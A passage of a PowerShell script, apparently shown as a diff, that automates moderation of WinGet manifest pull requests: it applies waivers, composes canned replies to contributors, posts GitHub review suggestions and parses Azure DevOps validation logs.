Get-CommitFile -PR $PR -MatchName $Enum.ManifestFileTypes.Installer - $NewLine.ManifestKey = $Enum.ManifestKeys.InstallerUrl - $NewLine.ManifestValue = ((Get-YamlValue -Key $NewLine.ManifestKey -InputArray ($PRCommits -split "`n" | Where {$_ -match $NewLine.ManifestKey})) -split $Enum.Char.Slash)[$Enum.Num.Two] - } else { - $NewLine.ManifestKey = $Enum.ManifestKeys.PackageIdentifier - $NewLine.ManifestValue = $PackageIdentifier - } - Write-Host "Adding $NewLine to $AutowaiverFile" - - $AutowaiverData += $NewLine - ($AutowaiverData | Sort-Object PackageIdentifier | ConvertTo-Csv) | Out-File $AutowaiverFile - if ($AlsoRunAutowaiver) { - Get-Autowaiver -PR $PR -PRCommits $PRCommits -PackageIdentifier $PackageIdentifier - } - } else { - Write-Host "Error: PackageIdentifier $PackageIdentifier" - }#end if PackageIdentifier.Length - } -}#end function - -Function Get-Autowaiver { - Param( - [Parameter(ValueFromPipeline)][int]$PR, - [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), - $PRCommits = (Get-CommitFile -PR $PR2), - [string[]]$InputData = ($PRCommits -split "`n" | Where {$_ -match $Enum.ManifestKeys.PackageIdentifier}), - [string]$PackageIdentifier = (Get-SchemaCheck -YamlValue $Enum.ManifestKeys.PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier -InputData $InputData[0]), - # $PackageIdentifier = (Get-SchemaCheck -YamlValue $Enum.ManifestKeys.PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier -InputData $PRCommits), - $AutowaiverData = (Get-Content $AutowaiverFile | ConvertFrom-Csv), - $WaiverData = ($AutowaiverData | ?{$_.PackageIdentifier -eq $PackageIdentifier}), - $PRLabels = (invoke-GitHubPRRequest -PR $PR2 -Type labels -Method $Enum.PRRequestMethods.Get -Output Content).name, - [switch]$WhatIf - ) - Process { - $PR = $PR2 - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-Autowaiver $PR2"}; - $PRLabels = $PRLabels | where {$_ -notmatch "Waived"} - $JoinLabels = ($PRLabels -join $Enum.Char.Space) - - if ($WaiverData) { - Add-PRToRecord -PR $PR -Action $Enum.PRActions.Waiver - if ($WhatIf) {Write-Host "JoinLabels $JoinLabels"} - } - foreach ($Waiver in $WaiverData) { - if ($WhatIf) {Write-Host "Waiver $Waiver"} - if ($JoinLabels -match $Waiver.RemoveLabel) { - if ($Waiver.RemoveLabel -eq $Enum.PRLabels.PD) { - Write-Host "PR: $PR - Completing PR for $PackageIdentifier" - if ($WhatIf) { - "Get-RemovePRLabel -PR $PR -LabelName $($Waiver.RemoveLabel)" - "Get-RemovePRLabel -PR $PR -LabelName $($Enum.PRLabels.NAF)" - "Get-RemovePRLabel -PR $PR -LabelName $($Enum.PRLabels.NA)" - "Get-AddPRLabel -PR $PR -LabelName $($Enum.PRLabels.VC)" - } else { - Get-RemovePRLabel -PR $PR -LabelName $Waiver.RemoveLabel - Get-RemovePRLabel -PR $PR -LabelName $Enum.PRLabels.NAF - Get-RemovePRLabel -PR $PR -LabelName $Enum.PRLabels.NA - Get-AddPRLabel -PR $PR -LabelName $Enum.PRLabels.VC - } - } else { - try { - if ($Waiver.ManifestKey -eq $Enum.ManifestKeys.InstallerUrl) { - $PRCommits = Get-CommitFile -PR $PR -MatchName $Enum.ManifestFileTypes.Installer - } - [string[]]$InputArray = ($PRCommits -split "`n" | Where {$_ -match $Waiver.ManifestKey}) - $PackageValue = Get-YamlValue -Key $Waiver.ManifestKey -InputArray $InputArray[0] - if ($WhatIf) {Write-Host "PackageValue $PackageValue"} - } catch {} - if ($PackageValue -match $Waiver.ManifestValue) { - Write-Host "PR: $PR - Adding $($Waiver.RemoveLabel) waiver for $PackageIdentifier" - if ($WhatIf) { - "Reply-ToPR -PR $PR -body '$($Enum.Strings.WingetbotWaiversAdd) $($Waiver.RemoveLabel)'" - } else { - Reply-ToPR -PR $PR -body "$($Enum.Strings.WingetbotWaiversAdd) $($Waiver.RemoveLabel)" - } - } else { - Write-Host "PR: $PR - PackageIdentifier $PackageIdentifier - $PackageValue notmatch $($Waiver.ManifestValue)" - }; #end if PackageValue - }; #end if Waiver.RemoveLabel - } else { - if ($WhatIf) { - "$JoinLabels -notmatch $($Waiver.RemoveLabel)" - } - }; #end foreach Waiver - }; #if WaiverData - } #Process -}; #end Get-Autowaiver - -#PR Comments -Function Get-CannedMessage { - Param( - [ValidateScript( { $_ -in (Get-Keys $Enum.CannedMessages)} )][string[]]$Response, - $UserInput, - [switch]$NoClip, - [switch]$NotAutomated - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-CannedMessage $Response"}; - [string]$Username = $Enum.Char.Ampersand + $UserInput.replace($Enum.Char.Space,$Enum.Char.Blank) + $Enum.Char.Comma - switch ($Response) { - $Enum.CannedMessages.AgreementMismatch { - $PackageIdentifier = (Get-SchemaCheck -InputData $PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier) - $AgreementUrlFromList = ($AgreementsList | where {$_.PackageIdentifier -eq $PackageIdentifier}).AgreementUrl - $out = "Hi $Username`n`nThis package uses Agreements, but this manifest's AgreementsUrl doesn't match the AgreementsUrl on file: $AgreementUrlFromList" - } - $Enum.CannedMessages.AppsAndFeaturesNew { - $out = "Hi $Username`n`nThis manifest adds a `DisplayVersion` to the `AppsAndFeaturesEntries` that isn't present in previous manifest versions. This entry should be added to the previous versions, or removed from this version." - } - $Enum.CannedMessages.AppsAndFeaturesMissing { - $out = "Hi $Username`n`nThis manifest removes the `DisplayVersion` from the `AppsAndFeaturesEntries`, which is present in previous manifest versions. This entry should be added to this version, to maintain version matching, and prevent the 'upgrade always available' situation with this package." - } - $Enum.CannedMessages.AppsAndFeaturesMatch { - $out = "Hi $Username`n`nThis manifest uses the same values for `DisplayVersion` and `PackageVersion`. This is not recommended, and the `DisplayVersion` should be removed." - } - $Enum.CannedMessages.AppFail { - $out = "Hi $Username`n`nThe application installed normally, but gave an error instead of launching:`n" - } - $Enum.CannedMessages.Approve { - $out = "Hi $Username`n`nDo you approve of these changes?" - } - $Enum.CannedMessages.AutoValEnd { - $UserInput = Get-AutomatedErrorAnalysis ($UserInput -join $Enum.Char.LineBreak) - $out = "Automatic Validation ended with: `n> $UserInput" - } - $Enum.CannedMessages.DriverInstall { - $out = "Hi $Username`n`nThe installation is unattended, but installs a driver which isn't unattended:`nUnfortunately, installer switches are not usually provided for this situation. Are you aware of an installer switch to have the driver silently install as well?" - } - $Enum.CannedMessages.DoesntRun { - $out = "Hi $Username`n`nThis package seems to install normally, but doesn't run when launched. Is this expected? Manual Validation ended with: `n> $UserInput" - } - $Enum.CannedMessages.InstallerFail { - $out = "Hi $Username`n`nThe installer did not complete:`n" - } - $Enum.CannedMessages.InstallerMissing { - $out = "Hi $Username`n`nHas the installer been removed?" - } - $Enum.CannedMessages.InstallerNotSilent { - $out = "Hi $Username`n`nThe installation isn't unattended. Is there an installer switch to have the package install silently?" - } - $Enum.CannedMessages.ListingDiff { - $out = "This PR omits these files that are present in the current manifest:`n> $UserInput" - } - $Enum.CannedMessages.ManifestVersion { - $out = "Hi $Username`n`nWe don't often see the `1.0.0` manifest version anymore. Would it be possible to upgrade this to the [1.12.0]($GitHubBaseUrl/tree/master/doc/manifest/schema/1.12.0) version, possibly through a tool such as [WinGetCreate](https://learn.microsoft.com/en-us/windows/package-manager/package/manifest?tabs = minschema%2Cversion-example), [YAMLCreate]($GitHubBaseUrl/blob/master/Tools/YamlCreate.ps1), or [Komac](https://github.com/russellbanks/Komac)? " - } - $Enum.CannedMessages.ManValEnd { - $UserInput = Get-AutomatedErrorAnalysis ($UserInput -join $Enum.Char.LineBreak) - $out = "Manual Validation ended with: `n> $UserInput" - } - $Enum.CannedMessages.MergeFail { - if ($UserInput -match "Required status check") { - $UserInput += "" - } - $out = "Merging failed with:`n> $UserInput" - } - $Enum.CannedMessages.NoExe { - $out = "Hi $Username`n`nThe installer doesn't appear to install any executables, only supporting files:`n`nIs this expected?" - } - $Enum.CannedMessages.NotGoodFit { - $out = "Hi $Username`n`nUnfortunately, this package might not be a good fit for inclusion into the WinGet public manifests. Please consider using a local manifest (`WinGet install --manifest C:\path\to\manifest\files\`) for local installations. " - } - $Enum.CannedMessages.OneManifestPerPR { - $out = "Hi $Username`n`nWe have a limit of 1 manifest change, addition, or removal per PR. This PR modifies more than one manifest. Can these changes be spread across multiple PRs?" - } - $Enum.CannedMessages.Only64bit { - $out = "Hi $Username`n`nValidation failed on the $($Enum.Arch.86) package, and $($Enum.Arch.86) packages are validated on 32-bit OSes. So this might be a 64-bit package." - } - $Enum.CannedMessages.PackageFail { - $out = "Hi $Username`n`nThe package installs normally, but fails to run:`n" - } - $Enum.CannedMessages.PackageUrl { - $out = "Hi $Username`n`nCould you add a PackageUrl?" - } - $Enum.CannedMessages.PolicyWrapper { - $out = "" - } - $Enum.CannedMessages.PRNoYamlFiles { - $out = "Hi $Username`n`nThis error means that this PR diff Master had no output. In other words, it's like a merge conflict.`n> The pull request doesn't include any manifest files yaml." - } - $Enum.CannedMessages.RemoveAsk { - $out = "Hi $Username`n`nThis package installer is still available. Why should it be removed?" - } - $Enum.CannedMessages.Unavailable { - $out = "Hi $Username`n`nThe installer isn't available from the publisher's website:" - } - $Enum.CannedMessages.Unattended { - $out = "Hi $Username`n`nThe installation isn't unattended:`n`nIs there an installer switch to bypass this and have it install automatically?" - } - $Enum.CannedMessages.UrlBad { - $out = "Hi $Username`n`nI'm not able to find this InstallerUrl from the PackageUrl. Is there another page on the developer's site that has a link to the package?" - } - $Enum.CannedMessages.VersionCount { - $out = "Hi $Username`n`nThis manifest has the highest version number for this package. Is it available from another location? (This might be in error if the version is switching from semantic to string, or string to semantic.)" - } - $Enum.CannedMessages.WhatIsIEDS { - $out = "Hi $Username`n`nThe label `Internal-Error-Dynamic-Scan` is a blanket error for one of a number of internal pipeline errors or issues that occurred during the Dynamic Scan step of our validation process. It only indicates a pipeline issue and does not reflect on your package. Sorry for any confusion caused." - } - $Enum.CannedMessages.WordFilter { - $out = "This manifest contains a term that is blocked:`n`n> $UserInput" - } - Default { - $out = $Enum.CannedMessageResponses.($Response) - } - } - if (!($NotAutomated)) { - $out += "`n`n(Deterministic automation - build $build.)" - } - if ($NoClip) { - $out - } else { - $out |clip - } -} - -Function Add-GitHubReviewComment { - Param( - [int]$PR, - [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), - [string]$Comment = $Enum.Char.Blank, - $Commit = (Invoke-GitHubPRRequest -PR $PR2 -Type commits -Output $Enum.PRRequestOutput.Content -JSON), - $commitID = $commit.sha, - $Filename = $commit.files.filename, - $Side = $Enum.DiffData.Right, - $StartLine, - $Line - ) - $PR = $PR2 - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-GitHubReviewComment $PR"}; - $Filename = Get-StringOrArrayLast $Filename - - $Response = @{} - $Response.body = $Comment - $Response.commit_id = $commitID - $Response.path = $Filename - if ($StartLine) { - $Response.start_line = $StartLine - } - $Response.start_side = $Side - $Response.line = $Line - $Response.side = $Side - [string]$Body = $Response | ConvertTo-Json - - $uri = "$GitHubApiBaseUrl/pulls/$PR/comments" - - $out = Invoke-GitHubRequest -Method $Enum.PRRequestMethods.Post -Uri $uri -Body $Body - $out.$Enum.PRRequestOutput.StatusDescription -} - -Function Get-PRApproval { - Param( - [Parameter(ValueFromPipeline)][int]$PR, - [string]$PackageIdentifier, - [string]$PI = (Get-SchemaCheck -InputData $PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier), - [string]$auth = (Get-ValidationData -Property $Enum.ManifestKeys.PackageIdentifier -Match $PI -Exact).GitHubUserName, - [string]$Approver = (($auth -split $Enum.Char.Slash| Where-Object {$_ -notmatch "\("}) -join ", @"), - [switch]$DemoMode - ) - $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PRApproval $PR"}; - Reply-ToPR -PR $PR -UserInput $Approver -CannedMessage Approve -Policy $Enum.PRLabels.NR -} - -Function Reply-ToPR { - Param( - [Parameter(ValueFromPipeline)][int]$PR, - [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), - [string]$CannedMessage, - $UserInput = ((Invoke-GitHubPRRequest -PR $PR2 -Type $Enum.Char.Blank -Output $Enum.PRRequestOutput.Content -JSON).user.login), - [string]$Body = (Get-CannedMessage $CannedMessage -UserInput $UserInput -NoClip), - [string]$Policy, - [Switch]$Silent, - [Switch]$Automated, - [Switch]$WhatIf - ) - process { - $PR = $PR2 - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Reply-ToPR $PR"}; - if ($PR -eq 1) { - Write-Host "Invalid PR number, quitting to squelch output: $Body" - } else { - if ($Policy) { - $Body += "`n" - } - if ($Body -match $Enum.Strings.AllCommentsMustBeResolved) { - Get-AddPRLabel -PR $PR -LabelName $Enum.PRLabels.CR - # Get-RemovePRLabel -PR $PR -LabelName $Enum.PRLabels.VC - # Open-PRInBrowser -PR $PR - } - $Comments = $Enum.Char.Blank - if ($Automated) { - $Comments = Get-PRComments -PR $PR - if ($WhatIf) {Write-Host "WhatIf: Automated: $Automated Comments: $($Comments.count)"} - if (!(($Comments[$Enum.Index.Last].user.login -eq $Enum.GitHubUserNames.GitHubUserName) -AND ($Automated))) { - if ($WhatIf) { - Write-Host "WhatIf: Invoke-GitHubPRRequest -PR $PR -Method $($Enum.PRRequestMethods.Post) -Type $($Enum.PRRequestTypes.Comments) -Data $Body -Output $($Enum.PRRequestOutput.StatusDescription)" - } else { - if ($Silent) { - Invoke-GitHubPRRequest -PR $PR -Method $Enum.PRRequestMethods.Post -Type $Enum.PRRequestTypes.Comments -Data $Body -Output Silent - } else { - Invoke-GitHubPRRequest -PR $PR -Method $Enum.PRRequestMethods.Post -Type $Enum.PRRequestTypes.Comments -Data $Body -Output $Enum.PRRequestOutput.StatusDescription - }# end if Silent - }# end if WhatIf - } - } else { - if ($WhatIf) { - Write-Host "WhatIf: Invoke-GitHubPRRequest -PR $PR -Method $($Enum.PRRequestMethods.Post) -Type $($Enum.PRRequestTypes.Comments) -Data $Body -Output $($Enum.PRRequestOutput.StatusDescription)" - } else { - if ($Silent) { - Invoke-GitHubPRRequest -PR $PR -Method $Enum.PRRequestMethods.Post -Type $Enum.PRRequestTypes.Comments -Data $Body -Output Silent - } else { - Invoke-GitHubPRRequest -PR $PR -Method $Enum.PRRequestMethods.Post -Type $Enum.PRRequestTypes.Comments -Data $Body -Output $Enum.PRRequestOutput.StatusDescription - }# end if Silent - }#end if WhatIf - }#end if Automated - }#end if PR - }#end process -}#end Function - -Function Get-PRComments { - Param( - [Parameter(ValueFromPipeline)][int]$PR - ) - $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PRComments $PR"}; - $Comments = (Invoke-GitHubPRRequest -PR $PR -Type $Enum.PRRequestTypes.Comments -Output $Enum.PRRequestOutput.Content -LastPage) - foreach ($Comment in $Comments) { - $Comment.($Enum.Strings.CreatedAt) = [TimeZoneInfo]::ConvertTimeBySystemTimeZoneId($Comment.($Enum.Strings.CreatedAt), $Enum.Strings.Pst) - } - - Return $Comments -} - -Function Get-NonStdPRComments { - Param( - [Parameter(ValueFromPipeline)][int]$PR, - [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), - $Comments = (Get-PRComments -PR $PR2).body - ) - process { - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-NonStdPRComments $PR2"}; - foreach ($StdComment in (Get-Values $Enum.StandardPRComments)) { - $Comments = $Comments | Where-Object {$_ -notmatch $StdComment} - } - return $Comments - } -} - -Function Get-PRStateFromComments { - Param( - [int]$PR, - [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), - $Comments = (Get-PRComments -PR $PR2 | Select-Object $Enum.Strings.CreatedAt,@{n = $Enum.Strings.UserName; e = {$_.user.login -replace $Enum.Strings.BotPrefix}},body), - $PRStateData = ((Get-Content $PRStateDataFile) -replace $Enum.Strings.GitHubUserName,$Enum.GitHubUserNames.GitHubUserName | ConvertFrom-Csv), - [switch]$WhatIf - ) - $PR = $PR2 - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PRStateFromComments $PR2"}; - if ($WhatIf) {Write-Host "$($MyInvocation.MyCommand.name): $PR - Comments $($Comments.Count)"} - $out = @() - foreach ($Comment in $Comments) { - $State = $Enum.Char.Blank - if ($WhatIf) {Write-Host "$($MyInvocation.MyCommand.name): $PR - $($Enum.Strings.CreatedAt) $($Comment.($Enum.Strings.CreatedAt))"} - - if (($Comment.body -match $Enum.Run.azp1) -OR - ($Comment.body -match $Enum.Run.azp2) -OR - ($Comment.body -match $Enum.Run.wingetbot)) { - if ($WhatIf) {Write-Host "PR $PR - State $($Enum.PRTrackerStates.PreValidation)"} - $State = $Enum.PRTrackerStates.PreValidation - } elseif (($Comment.UserName -eq $Enum.Robots.FabricBot) -AND ( - ($Comment.body -match $Enum.LabelActionComments.URLError) -OR - ($Comment.body -match $Enum.LabelActionComments.ValidationInstallationError) -OR - ($Comment.body -match $Enum.LabelActionComments.InternalError) -OR - ($Comment.body -match $Enum.LabelActionComments.ValidationUnattendedFailed) -OR - ($Comment.body -match $Enum.LabelActionComments.ManifestValidationError) - )) { - if ($WhatIf) { - Write-Host "PR $PR - State $($Enum.PRTrackerStates.LabelAction)" - } - $State = $Enum.PRTrackerStates.LabelAction - } else { - $StateKeys = (Get-Keys $Enum.PRTrackerStates) - foreach ($Key in $StateKeys) { - $KeyData = $PRStateData | where {$_.State -eq $Key} - if ($WhatIf) { - Write-Host "PR $PR - key $key - State $($States.Key) - botcomment $($KeyData.BotComment) - Comment $($Comment.body)" - } - if (($Comment.body -match $KeyData.BotComment) -AND ($Comment.UserName -eq $KeyData.User)) { - if ($WhatIf) { - Write-Host "PR $PR - match $($KeyData.BotComment)" - } - $State = $Enum.PRTrackerStates.($Key) - } - } - } - if ($WhatIf) { - Write-Host "PR $PR - State $State" - } - if ($State -ne $Enum.Char.Blank) { - if ($WhatIf) { - Write-Host "PR $PR - out $out" - } - $out += $Comment | Select-Object @{n = $Enum.Words.Event; e = {$State}},$Enum.Strings.CreatedAt - } - } - Return $out -} - -#Experimental -Function Get-RevertCompletePR { - Param( - [int]$PR - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PRStateFromComments $PR2"}; - $VRlabels = Get-ValidationResult $PR - $VRlabels = $VRlabels | where {$_ -notmatch $Enum.PRLabels.vc} - if ($VRlabels) { - Get-RemovePRLabel -PR $PR -LabelName $Enum.PRLabels.vc - $VRlabels | %{Get-AddPRLabel -PR $PR -LabelName $_} - } -} - -#Inject dependencies -Function Add-ToValidationFile {#AddVCRedist - Param( - [Parameter(mandatory = $True)][int]$VM, - [ValidateScript( { $_ -in (Get-Keys $Enum.Dependencies) } )][string]$Common = $Enum.Dependencies.VCRedist, - [string]$Dependency = $Common, - [string]$VMFolder = "$MainFolder\vm\$VM", - [string]$manifestFolder = "$VMFolder\manifest", - [string]$FilePath = "$manifestFolder\Package.installer.yaml", - $fileContents = (Get-Content $FilePath), - [string]$Selector = "Installers:", - [int]$offset = 1, - [int]$lineNo = (($fileContents | Select-String $Selector -List).LineNumber -$offset), - [string]$fileInsert = "Dependencies:`n PackageDependencies:`n - PackageIdentifier: $Dependency", - $fileOutput = ($fileContents[$Enum.Index.First..($lineNo -1)] + $fileInsert + $fileContents[$lineNo..($fileContents.Length)]) - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Add-ToValidationFile $VM"}; - Write-Host "Writing $($fileContents.Length) lines to $FilePath" - Out-File -FilePath $FilePath -InputObject $fileOutput - Get-TrackerVMSetStatus $Enum.VMStatus.Revert $VM; -} - -Function Add-InstallerSwitch { - Param( - [Parameter(mandatory = $True)][int]$VM, - $Data = '/qn', - $Selector = "ManifestType:", - [ValidateSet("EXE","MSI","MSIX","Inno","Nullsoft","InstallShield")] - [string]$InstallerType - - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Add-InstallerSwitch $VM"}; - switch ($InstallerType) { - "MSIX"{ - $Data = '/quiet' - } - "Inno"{ - $Data = '/SILENT' - } - "Nullsoft"{ - $Data = '/S' - } - "InstallShield"{ - $Data = '/s' #or -s - } - } - $fileInsert = " InstallerSwitches:`n Silent: $Data" - Add-ToValidationFile $VM -Selector $Selector -fileInsert $fileInsert #-Force -} - -Function Get-UpdateHashInPR { - Param( - [int]$PR, - [string]$ManifestHash, - [string]$PackageHash, - [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), - $LineNumbers = ((Get-CommitFile -PR $PR2 | Select-String $ManifestHash).LineNumber), - [string]$ReplaceString = (" InstallerSha256: $($PackageHash.toUpper())"), - [string]$comment = "``````suggestion`n$ReplaceString`n```````n`n(Deterministic automation - build $build.)" - ) - $PR = $PR2 - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-UpdateHashInPR $PR"}; - foreach ($Line in $LineNumbers) { - Add-GitHubReviewComment -PR $PR -Comment $comment -Line $Line -Action $Enum.PRLabels.NAF - } -} - -Function Get-UpdateArchInPR { - Param( - [int]$PR, - [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), - [string]$SearchTerm = " Architecture: $($Enum.Arch.86)", - $LineNumbers = ((Get-CommitFile -PR $PR2 | Select-String $SearchTerm).LineNumber), - [string]$ReplaceTerm = (($SearchTerm -split ": ")[$Enum.Index.Second]), - [ValidateScript( { $_ -in (Get-Keys $Enum.Arch) } )] - [string]$ReplaceArch = (($Enum.Arch.86,$Enum.Arch.64) | where {$_ -notmatch $ReplaceTerm}), - [string]$ReplaceString = ($SearchTerm -replace $ReplaceTerm,$ReplaceArch), - [string]$comment = "``````suggestion`n$ReplaceString`n```````n`n(Deterministic automation - build $build.)" - ) - $PR = $PR2 - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-UpdateArchInPR $PR"}; - foreach ($Line in $LineNumbers) { - Add-GitHubReviewComment -PR $PR -Comment $comment -Line $Line -Action $Enum.PRLabels.NAF - } -} - -Function Add-DependencyToPR { - Param( - [int]$PR, - [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), - $Dependency = $Enum.Dependencies.VCRedist, - $SearchString = "Installers:", - $LineNumbers = ((Get-CommitFile -PR $PR2 | Select-String $SearchString).LineNumber), - $ReplaceString = "Dependencies:`n PackageDependencies:`n - PackageIdentifier: $Dependency`nInstallers:", - $comment = "``````suggestion`n$ReplaceString`n```````n`n(Deterministic automation - build $build.)" - ) - $PR = $PR2 - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Add-DependencyToPR $PR2"}; - $out = $Enum.Char.Blank - foreach ($Line in $LineNumbers) { - $out += Add-GitHubReviewComment -PR $PR -Comment $comment -Line $Line -Action $Enum.PRLabels.NAF - } -} - -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ -################################## - ADO - ################################### -#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -Function Get-CheckData { - Param( - [Parameter(ValueFromPipeline)][int]$PR, - [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), - $PRData = (Get-PRData $PR), - $headSha = $PRData.head.sha, - $CheckData = (Invoke-GitHubRequest "$GitHubApiBaseUrl/commits/$headSha/check-runs?per_page=100&filter=latest" -JSON) - ) - process { - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-CheckData $PR2"}; - Return $CheckData.check_runs #| Select-Object id, name, status, conclusion, started_at, completed_at | ft - } -} - -Function Get-ADOValidationStatus { - Param( - [Parameter(ValueFromPipeline)][int]$PR, - [switch]$Browser, - [switch]$WhatIf - ) - $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-ADOValidationStatus $PR"}; - $PRbuild = (Get-BuildFromPR -PR $PR) - $LogNumber = (55) - $URL = "$ADOMSBaseUrl/$ADOMSGUID/_apis/build/builds/$PRbuild/logs/$LogNumber" - if ($Browser) { Start-Process $URL;Return $Null} - if ($WhatIf) { Write-Host "$($MyInvocation.MyCommand.name): $PR URL: $($URL)"} - $Content = (Invoke-GitHubRequest $URL -ProgressAction SilentlyContinue).content - if ($WhatIf) { Write-Host "$($MyInvocation.MyCommand.name): $PR Content Length: $($Content.Length)"} - $Log = ($Content -join $Enum.Char.Blank -split $Enum.Char.LineBreak) -replace $Enum.Char.EscapedStar,$Enum.Char.Blank -split $Enum.Char.LineBreak | where {$_.length -gt 1} - if ($WhatIf) { Write-Host "$($MyInvocation.MyCommand.name): $PR Log Length: $($Log.Length)"} - $LogLines = ($Log | Select-String $Enum.Words.Installation).LineNumber - if ($WhatIf) { Write-Host "$($MyInvocation.MyCommand.name): $PR LogLines: $($LogLines)"} - # $LogEntries = $Log -join $Enum.Char.LineBreak -replace "\*",$Enum.Char.Blank -split "Installation Validation Progress Report" -split "Installation Verification" - $LogEntries = $Log -join $Enum.Char.LineBreak -replace $Enum.Char.EscapedStar,$Enum.Char.Blank - if ($WhatIf) { Write-Host "$($MyInvocation.MyCommand.name): $PR LogEntries: $($LogEntries.Length)"} - - $out = @() - # foreach ($LogEntry in $LogEntries){ - for ($i = 0; $i -lt ($LogLines.Length - $Enum.Num.One); $i++) { - $LogEntry = ($LogEntries -split $Enum.Char.LineBreak)[$LogLines[$i]..($LogLines[$i + $Enum.Num.One] - $Enum.Num.Two)] - if ($WhatIf) { Write-Host "$($MyInvocation.MyCommand.name): $PR $i LogEntry: $($LogEntry.Length)"} - try{ - $Date = (Get-Date ($LogEntry -split $Enum.Char.LineBreak)[$Enum.Index.Last]) - $Date = [System.TimeZoneInfo]::ConvertTimeFromUtc($Date,(Get-TimeZone $Enum.Strings.Pst)) - } catch { - $Date = $Enum.Strings.NoData - } - if ($WhatIf) { Write-Host "$($MyInvocation.MyCommand.name): $PR $i Date: $Date"} - # $ThisLog = $Log[($LogLines[$i] + $Enum.Num.One)..($LogLines[$I + $Enum.Num.One] - 3)] #This cuts the stars off the top and bottom. - $Statii = (($LogEntry -split $Enum.Char.LineBreak | Select-String "Status") | Get-YamlValue -Key "Status" -JSON) -replace $Enum.char.DoubleQuote,$Enum.Char.Blank - if ($WhatIf) { Write-Host "$($MyInvocation.MyCommand.name): $PR $i Statii: $Statii"} - if ($Statii) { - $Mid = $Enum.Char.Blank | Select-Object @{n = "PR"; e = {$PR}}, @{n = "Date"; e = {$Date}}, @{n = "Statii"; e = {$Statii}} - if ($WhatIf) { Write-Host "$($MyInvocation.MyCommand.name): $PR $i Mid: $Mid"} - $Out += $Mid - } - } - Return $Out -} - -Function Get-ADOLastStatus { - Param( - [Parameter(ValueFromPipeline)][int]$PR, - [int]$WaitingMinutes - ) - Process { - $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-ADOLastStatus $PR"}; - $Statii = Get-ADOValidationStatus -PR $PR - $Last = $Statii[$Enum.Index.Last] - if ($Last.Statii -match $Enum.ADOValidationStatus.InProgress) { - $TotalMinutes = ((get-date) - (get-date $Last.Date)).totalminutes - if ($TotalMinutes -gt 180) {#3 hour timeout - Write-Host "ADOLastStatus InProgress Reply-ToPR $PR" - Reply-ToPR -PR $PR -body $Enum.Strings.WingetbotRun - } else { - Write-Host "ADOLastStatus $($PR): $TotalMinutes" - } - } else { - if ($Last.Statii -match $Enum.ADOValidationStatus.Waiting) { - if ($TotalMinutes -gt $WaitingMinutes) { - Write-Host "ADOLastStatus Waiting Reply-ToPR $PR" - Reply-ToPR -PR $PR -body $Enum.Strings.WingetbotRun - } - } else { - Write-Host "ADOLastStatus $($PR): $($Last.Statii -join ' ')" - } - } - }#end Process -} - -Function Get-PRStateFromAPI { - Param( - [int]$PR, - [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), - $Data = (Get-CheckData -PR $PR2) - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PRStateFromAPI $PR2"}; - $in = (($Data | where {$_.name -match "Installation Validation"}).output.text -split $Enum.Char.LineBreak) - $out = @() - $in[$Enum.Num.Two..($in.Count -$Enum.Num.Two)] -replace "Status: " | %{ - $Date, $time, $event = $_.split(' '); - $event = $event -join $Enum.Char.Space - $mid = $Enum.Char.Blank | 